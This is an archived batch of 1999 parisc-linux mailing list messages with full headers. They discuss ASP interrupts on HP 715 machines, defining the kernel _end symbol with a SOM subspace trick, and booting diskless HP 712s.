Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAB1LvL31093;
	Thu, 11 Nov 1999 02:21:57 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id CAA944261;
	Thu, 11 Nov 1999 02:21:55 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11lixX-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for bkatz@agilent.com; Thu, 11 Nov 1999 02:23:31 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199911101524.HAA02309@meow.sr.hp.com>; from Bill Katz William" on Wed, Nov 10, 1999 at 07:24:00AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6345

On Wed, Nov 10, 1999 at 07:24:00AM -0800, Bill Katz William" wrote:
> |Do ASP add-in cards exist?  We could just refuse to support them until
> |we know more :-)
> 
> I've never heard of one, and I've also never heard of a slot that might
> support one.  SO, with 99.9% confidence, no they don't exist.

Excellent.

> If you have specific Scorpio/ASP questions, mail them to me, and I'll 
> look them up in the docs.

OK, here's one...

When I don't attempt to program anything, the ASP defaults to irq 3.
Is this changeable?  What other devices can cause interrupts on Scorpio-
class machines, that don't go through ASP?

The following devices _do_ go through ASP:

EISA, 8042, SCSI, FDDI, RS232, Centronics, Ethernet, Graphics (1 + 2), Audio.

which seems pretty comprehensive.  I'm wondering about slimming down our
interrupt architecture for older machines; it's a trifle over-engineered
for a machine which can't be expanded.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Thu, 11 Nov 1999 02:22:03 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911110219190.1365-100000@vodka.thepuffingroup.com>
References: <19991110111049.V25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618615 27721 80.91.229.3 (22 Nov 2014 01:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: adevries@thepuffingroup.com  Wed Nov 10 23:09:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA24238
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 23:09:57 -0700
Original-Received: (qmail 28818 invoked by uid 15267); 11 Nov 1999 06:11:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28802 invoked from network); 11 Nov 1999 06:11:21 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 06:11:21 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA01371;
	Thu, 11 Nov 1999 02:22:03 -0500
In-Reply-To: <19991110111049.V25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6346


On Wed, 10 Nov 1999, Matthew Wilcox wrote:
> On Wed, Nov 10, 1999 at 04:03:39AM -0500, Alex deVries wrote:
> > 
> > Having ASP interrupts working will enable a lot of different boxes to be
> > supported, mostly 715s.  I have a /50, /75 and probably /100 to test on.
> 
> The /50 and /75 are also Scorpio machines.  The /100 is either a Mirage or
> a Turnip.  As such, I don't know if it has ASP.

I'm pretty sure that all 715s have ASP in them.

This is easily checked though...

- alex


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Thu, 11 Nov 1999 08:36:14 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <199911111536.IAA19092@debian.fc.hp.com>
References: <30261.941918902@upchuck>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618615 27729 80.91.229.3 (22 Nov 2014 01:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Nov 11 08:34:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA25702
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 08:34:49 -0700
Original-Received: (qmail 3672 invoked by uid 15267); 11 Nov 1999 15:36:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3665 invoked from network); 11 Nov 1999 15:36:16 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 15:36:16 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id IAA05662
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 08:36:15 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id IAA13182 for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 08:36:14 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id IAA19092
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 08:36:14 -0700
In-reply-to: Your message of "Sat, 06 Nov 1999 13:08:22 MST."
             <30261.941918902@upchuck> 
Xref: news.gmane.org gmane.linux.ports.parisc:6347


I'm also worried about why there are data symbols following BSS in
our current palinux kernel...

= Though I'd worry about precisely *why* someone wants the _end symbol; whatever
= they're trying to do there's probably a better way.

Maybe there is a better way.  The first reason I want to use _end
(and _edata) is to clear the kernel BSS reliably (which is working
great).

The second reason, which doesn't currently work, is to have a symbol
pointing at the very end of kernel memory, since that is where
free memory will start.

Both these tasks are currently being done at run-time -- in one case
by parsing the SOM header and in another case by guessing about a
parameter passed in by the hpux bootloader -- neither is currently
reliable despite the considerable experimentation and
sweat others have poured into the effort.  I want to avoid parsing
the SOM header and guessing about bootloaders in the future.  It
would also be great to use an old, reliable, and language-system
independent.

	-P


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status (fwd)
Date: Thu, 11 Nov 1999 07:43:58 -0800 (PST)
Lines: 2
Approved: news@gmane.org
Message-ID: <199911111543.HAA10147@meow.sr.hp.com>
Reply-To: bkatz@agilent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618616 27737 80.91.229.3 (22 Nov 2014 01:10:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Thu Nov 11 08:42:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA25906
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 08:42:35 -0700
Original-Received: (qmail 6687 invoked by uid 15267); 11 Nov 1999 15:44:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6678 invoked from network); 11 Nov 1999 15:44:03 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 15:44:03 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA25308
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 10:43:09 -0500 (EST)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id HAA16454 for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 07:44:08 -0800 (PST)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id HAA10147 for parisc-linux@thepuffingroup.com; Thu, 11 Nov 1999 07:43:58 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6348

----- Forwarded message from Alex deVries -----


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Thu, 11 Nov 1999 08:51:27 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <8933.942335487@upchuck>
References: <199911111536.IAA19092@debian.fc.hp.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618616 27755 80.91.229.3 (22 Nov 2014 01:10:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: law@upchuck.cygnus.com  Thu Nov 11 08:52:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA26125
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 08:52:15 -0700
Original-Received: (qmail 10505 invoked by uid 15267); 11 Nov 1999 15:53:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10491 invoked from network); 11 Nov 1999 15:53:42 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 15:53:42 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id IAA08936;
	Thu, 11 Nov 1999 08:51:27 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 11 Nov 1999 08:36:14 MST.
             <199911111536.IAA19092@debian.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6349

  In message <199911111536.IAA19092@debian.fc.hp.com>you write:
  > Maybe there is a better way.  The first reason I want to use _end
  > (and _edata) is to clear the kernel BSS reliably (which is working
  > great).
Parse the som exec header.

  > Both these tasks are currently being done at run-time -- in one case
  > by parsing the SOM header and in another case by guessing about a
  > parameter passed in by the hpux bootloader -- neither is currently
  > reliable despite the considerable experimentation and
  > sweat others have poured into the effort.
Then I'd suggest looking at code from folks that have done this in the past;
Utah's BSD & Mach kernels both handle parsing of the SOM exec header just
fine.


jeff


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Thu, 11 Nov 1999 09:14:38 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <199911111614.JAA19293@debian.fc.hp.com>
References: <8933.942335487@upchuck>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618617 27765 80.91.229.3 (22 Nov 2014 01:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Nov 11 09:13:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA26422
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 09:13:12 -0700
Original-Received: (qmail 18692 invoked by uid 15267); 11 Nov 1999 16:14:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18685 invoked from network); 11 Nov 1999 16:14:40 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 16:14:40 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA11062
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 09:14:39 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA14191 for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 09:14:39 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA19293
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Nov 1999 09:14:38 -0700
In-reply-to: Your message of "Thu, 11 Nov 1999 08:51:27 MST."
             <8933.942335487@upchuck> 
Xref: news.gmane.org gmane.linux.ports.parisc:6350


= Parse the som exec header.

I guess I mangled my earlier note.  I also want a language-system
independent method since we'll not always be wedded to SOM.  More
urgently, the SOM header is apparently unavailable to a program
launched from the hpux bootloader.  I just checked, and HP-UX doesn't
parse the SOM header either -- it uses _end and _edata.

Perhaps you'd be kind enough to write a scrap of assembly magic
which performs the subspace trick you mentioned earlier?  Yeah
it may be ugly and still language-system dependent, but without access
to the SOM header at boot time there's not a prettier option.

Thanks!

	-P


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Thu, 11 Nov 1999 11:46:15 -0500 (EST)
Lines: 50
Approved: news@gmane.org
Message-ID: <199911111646.LAA19701@hiauly1.hia.nrc.ca>
References: <199911111536.IAA19092@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618617 27772 80.91.229.3 (22 Nov 2014 01:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov 11 09:46:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA26658
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 09:46:06 -0700
Original-Received: (qmail 31563 invoked by uid 15267); 11 Nov 1999 16:47:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31556 invoked from network); 11 Nov 1999 16:47:34 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 16:47:34 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA19701;
	Thu, 11 Nov 1999 11:46:16 -0500 (EST)
In-Reply-To: <199911111536.IAA19092@debian.fc.hp.com> from "Paul Bame" at Nov 11, 99 08:36:14 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6351

> I'm also worried about why there are data symbols following BSS in
> our current palinux kernel...

I presume that the method of using the linker to define _end isn't
working.  Possibly, it is because the sort order for the sections $ANS$
and $CI$ is wrong.

164 (hiauly1)dave> objdump --headers vmlinux

vmlinux:          file format som

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 $TEXT$        0007a658  c0010000  00000000  00035000  2**3

  1 $FIRST$       00000208  c0010000  00000000  00035000  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  2 $SHLIB_INFO$  00000000  c0010208  00000000  00035208  2**3
		  ALLOC, LOAD, READONLY, CODE
  3 $MILLICODE$   00001ab8  c0011000  00000000  00036000  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  4 $LIT$         0000e340  c0012ab8  00000000  00037ab8  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  5 $CODE$        00062c28  c0020df8  00000000  00045df8  2**3
	          CONTENTS, ALLOC, LOAD, READONLY, CODE
  6 $UNWIND_START$ 000063d0  c0083a20  00000000  000a8a20  2**3
		  CONTENTS, ALLOC, LOAD, READONLY, CODE
  7 $UNWIND_END$  00000868  c0089df0  00000000  000aedf0  2**3
	          CONTENTS, ALLOC, LOAD, READONLY, CODE
  8 $PRIVATE$     0006f2c8  c008b000  00000000  000b0000  2**3

  9 $GLOBAL$      00000008  c008b000  00000000  000b0000  2**3
		  CONTENTS, ALLOC, LOAD, READONLY, CODE
 10 $DATA_START$  00000000  c008b008  00000000  000b0008  2**3
		  ALLOC, LOAD, DATA
 11 .data.cacheline_aligned 00000020  c008c000  00000000  000b1000  2**3
		  CONTENTS, ALLOC, LOAD, DATA
 12 $DATA$        0006d2c8  c008d000  00000000  000b2000  2**12
		  CONTENTS, ALLOC, LOAD, DATA
 13 $BSS$         00015930  c00fa2c8  00000000  00000000  2**3
		  ALLOC
 14 $ANS$         00000a42  00000000  00000000  00120000  2**2
		  DEBUGGING
 15 $CI$          00000a42  00000000  00000000  00120000  2**2
	          CONTENTS, DATA, DEBUGGING

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Thu, 11 Nov 1999 10:32:26 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <9306.942341546@upchuck>
References: <199911111614.JAA19293@debian.fc.hp.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618617 27780 80.91.229.3 (22 Nov 2014 01:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: law@upchuck.cygnus.com  Thu Nov 11 10:32:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA26937
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 10:32:28 -0700
Original-Received: (qmail 19786 invoked by uid 15267); 11 Nov 1999 17:33:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19779 invoked from network); 11 Nov 1999 17:33:55 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 17:33:55 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA09309;
	Thu, 11 Nov 1999 10:32:26 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 11 Nov 1999 09:14:38 MST.
             <199911111614.JAA19293@debian.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6352

  In message <199911111614.JAA19293@debian.fc.hp.com>you write:
  > Perhaps you'd be kind enough to write a scrap of assembly magic
  > which performs the subspace trick you mentioned earlier?  Yeah
  > it may be ugly and still language-system dependent, but without access
  > to the SOM header at boot time there's not a prettier option.

	.space $PRIVATE$
	.subspa $AFTERBSS$,QUAD=1,ALIGN=8,ACCESS=31,ZERO,SORT=83
_end:


Or something close to that.

What it does is create a new data section $AFTERBSS$ which has a sort key
greater than $BSS$ ($BSS$'s sort key is 82).  Within that section we define
one symbol "_end".

jeff






From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy.harris@sympatico.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Diskless 712/60s
Date: Fri, 12 Nov 1999 00:04:26 +0000
Lines: 98
Approved: news@gmane.org
Message-ID: <382B598A.E46EFB6A@sympatico.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618618 27789 80.91.229.3 (22 Nov 2014 01:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sandy.harris@sympatico.ca  Thu Nov 11 22:04:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA28779
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Nov 1999 22:04:05 -0700
Original-Received: (qmail 15327 invoked by uid 15267); 12 Nov 1999 05:05:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15303 invoked from network); 12 Nov 1999 05:05:25 -0000
Original-Received: from tomts2.bellnexxia.net (HELO tomts2-srv.bellnexxia.net) (209.226.175.140)
  by mailserv2.iuinc.com with SMTP; 12 Nov 1999 05:05:25 -0000
Original-Received: from sympatico.ca ([206.47.27.98]) by tomts2-srv.bellnexxia.net
          (InterMail vM.4.01.02.07 201-229-116-107) with ESMTP
          id <19991112050524.NFVT21715.tomts2-srv.bellnexxia.net@sympatico.ca>
          for <parisc-linux@thepuffingroup.com>;
          Fri, 12 Nov 1999 00:05:24 -0500
X-Mailer: Mozilla 4.61 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6353

I've got access to a moderately large pile of HP 712s, mostly 60s with a few faster ones,
dirt cheap. I'm contemplating trying to use an array of a few dozen of them for tasks like factoring, which need lots of MIPS
and RAM but not much communication.

I'd want to use a separate machine as a host and run the 712s diskless and headless. The
host would need dual e'net, one for 712 array and one for the world, so I might use a
Linux PC. I'd also need a machine for development, presumably a PA-RISC Linux box.

Questions:

Any recommendations for a machine that could be both host (should support dual e'net) and
development box (faster than 712, old enough to be available used)?

For the array, what are the trade-offs between using your native Linux vs. the older
micro-kernel stuff, with or without Linux atop it? These will mostly be pure compute
engines, 100% of CPU into a single process for hours or days at a time. All they really
need to do is boot from the net, load one process, and exchange occasional packets with
the host. Multitasking, the ability to access a file system via NFS, to run PVM, to
report status via SNMP, ... would definitely be nice, but aren't actually essential.

Virtual memory would be a detriment. How hard is it to eliminate?

What is the state of PA-RISC Linux for this application? The only device driver I'd need
is ethernet.


P.S. A friend has a large pile of used HP machines, mostly at reasonable prices. 712s are
the low end of the range. Anyone in the Ottawa area who needs some, send mail.

X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar  4 18:42:09 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01271
	for <pcj@merlin.pcj.primenet.com>; Thu, 4 Mar 1999 18:42:08 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 04 Mar 1999 18:42:09 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id DAA15479
	for <pcj@smtp-local.primenet.com>; Thu, 4 Mar 1999 03:26:06 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id DAA23506
	for <pcj@primenet.com>; Thu, 4 Mar 1999 03:26:06 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd023502; Thu Mar  4 03:26:04 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id EAA14371;
	Thu, 4 Mar 1999 04:55:20 -0500
Resent-Date: Thu, 4 Mar 1999 04:55:20 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-Id: <199903040954.KAA21843@be3334.schering.de>
From: "Strelow, Ulrich" <Ulrich.Strelow@Schering.DE>
To: ",hppa-linux@thepuffingroup.com " <hppa-linux@thepuffingroup.com>
Subject: Betr.: Re: Betr.: RE: [hppa-linux] Another bootstrap test
Date: Thu, 4 Mar 1999 10:53:00 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Resent-Message-ID: <"uAqbc1.0.TW3.8Ybts"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/143
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 0973cfff9292f364439d1222c61bb1f3
Lines: 27
Xref: merlin.pcj.primenet.com palinux:114

"Strelow, Ulrich" wrote:
     
>      2. The easiest way is to use rbootd. For this test you need a 
>      linux-x86 machine connect to the 712/100 via LAN:

Paul J.Y. Lahaie wrote:
     
> My 712 (a /60) uses bootp for network booting.  I thought only the
> older 700 classes used rboot for
> network booting.

I have tried rbootd on my 715/33 and it worked fine. I did not know that
the 
712s are special.

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@csi.com>
Berlin, Germany
     

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP
Date: Fri, 12 Nov 1999 11:37:49 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <199911121937.LAA22333@milano.cup.hp.com>
References: <19991111022331.W25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618618 27790 80.91.229.3 (22 Nov 2014 01:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: grundler@cup.hp.com  Fri Nov 12 12:35:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA30979
